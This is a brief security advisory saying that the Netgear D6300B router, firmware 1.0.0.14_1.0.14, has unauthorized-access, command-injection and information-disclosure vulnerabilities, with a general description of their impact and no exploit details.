The Netgear D6300B router is prone to the following security vulnerabilities:

1. Multiple unauthorized-access vulnerabilities
2. A command-injection vulnerability
3. An information disclosure vulnerability

An attacker can exploit these issues to gain access to potentially sensitive information, execute arbitrary commands in the context of the affected device, and perform unauthorized actions. Other attacks are also possible.

Netgear D6300B 1.0.0.14_1.0.14 is vulnerable; other versions may also be affected.
